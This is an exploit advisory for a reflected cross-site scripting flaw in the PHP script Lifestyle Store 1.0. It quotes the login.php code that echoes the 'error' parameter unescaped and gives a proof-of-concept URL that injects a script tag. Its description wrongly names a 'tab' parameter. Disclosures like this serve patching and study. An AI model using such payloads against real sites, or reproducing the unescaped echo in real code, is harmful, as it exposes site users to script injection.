Lifestyle Store 1.0 Cross Site Scripting

`# Exploit Title: Lifestyle Store (Online Shop Store) 1.0 - Reflected Cross-Site Scripting (XSS)  
# Date: 2021-09-30  
# Author: Abdulrahman https://twitter.com/infosec_90  
# Software Link: https://download-media.code-projects.org/2021/07/Online_Shop_Store_In_PHP_With_Source_Code.zip  
# Version: 1.0.0  
# Tested on: Kali Linux  
  
  
1. Description:  
The tab parameter in the login.php is vulnerable to XSS.  
  
  
2. login.php in line 43 code:  
  
if(isset($_GET["error"])){  
echo $_GET['error'];  
}  
  
3. Proof of Concept:  
/online-shop/login.php?error=<script>print()</script>  
`